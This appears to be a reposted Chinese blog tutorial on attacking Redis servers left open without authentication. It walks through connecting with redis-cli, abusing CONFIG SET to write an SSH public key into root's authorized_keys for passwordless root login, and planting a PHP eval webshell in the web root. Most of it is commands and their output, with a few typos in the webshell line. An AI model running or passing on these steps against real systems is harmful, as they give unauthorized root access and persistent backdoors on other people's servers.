您好,登錄后才能下訂單哦!
通過使用nmap掃描,發現某一端口對應的服務為Redis,然后我們可以嘗試看看是否是未授權訪問!
首先使用下列命令安裝Redis tools:
root@kali:~# apt-get install redis-tools
然后通過下列命令看是否是未授權訪問:
root@kali:~# redis-cli -h 10.198.131.1 10.198.131.1:6379>
然后我們可以使用免密登錄的方式進行相關***:
生成公鑰:
root@lsy:~/.ssh# ssh-keygen -t rsa root@lsy:~/.ssh# cat id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3lO+OSwj2zQuGON15ATfVwJAtLLbiswFoV/uqFHrw0BxaWSHTWgtrlzXyDen/ktDDBjfERlDys0vcZ3NQZ0/W+fWzbQkZbj/ABFsthhdQpdWWRz6wwOxY2tAKYhiZTcLchdFTnrU3+fkwD+im2W966A5UEZZmzTzTi/qA9BZwZghRrEx8Mr5+jVhQ8mYbR0QooggxTlafsavsBAG/aBTShoEanOuL4Pdx5aevmT3ydhwEJFwQQjBkARc8AUFY8cyS0/iPzT010uZYYHCPzhzm25QUSSbvIz9m7Mjwno72/OhKMCmVURkY4S1O4yXFzk+TlQ8P5jm+/pomKd++aPSn root@lsy root@lsy:~/.ssh#
將公鑰寫入遠程服務器:
root@lsy:~/.ssh# redis-cli -h 10.198.131.1 10.198.131.1:6379> CONFIG SET dir /root/.ssh/ OK 10.198.131.1:6379> CONFIG SET dbfilename authorized_keys OK 10.198.131.1:6379> set xxxx "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3lO+OSwj2zQuGON15ATfVwJAtLLbiswFoV/uqFHrw0BxaWSHTWgtrlzXyDen/ktDDBjfERlDys0vcZ3NQZ0/W+fWzbQkZbj/ABFsthhdQpdWWRz6wwOxY2tAKYhiZTcLchdFTnrU3+fkwD+im2W966A5UEZZmzTzTi/qA9BZwZghRrEx8Mr5+jVhQ8mYbR0QooggxTlafsavsBAG/aBTShoEanOuL4Pdx5aevmT3ydhwEJFwQQjBkARc8AUFY8cyS0/iPzT010uZYYHCPzhzm25QUSSbvIz9m7Mjwno72/OhKMCmVURkY4S1O4yXFzk+TlQ8P5jm+/pomKd++aPSn root@lsy\n\n\n" OK 10.198.131.1:6379> save OK 10.198.131.1:6379> exit
使用ssh遠程登錄:
root@lsy:~/.ssh# ssh 10.198.131.1
免密登錄成功:
上傳webshell
#redis-cli -h 192.168.2.5 -p 6379 192.168.2.5:6379>config set dir /var/wwww/html 192.168.2.5:6379>config set dbfilename 1.php 192.168.2.5:6379>set webshell "<php @eval(@_POST['passwd'])>" 192.168.2.5:6379>save
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。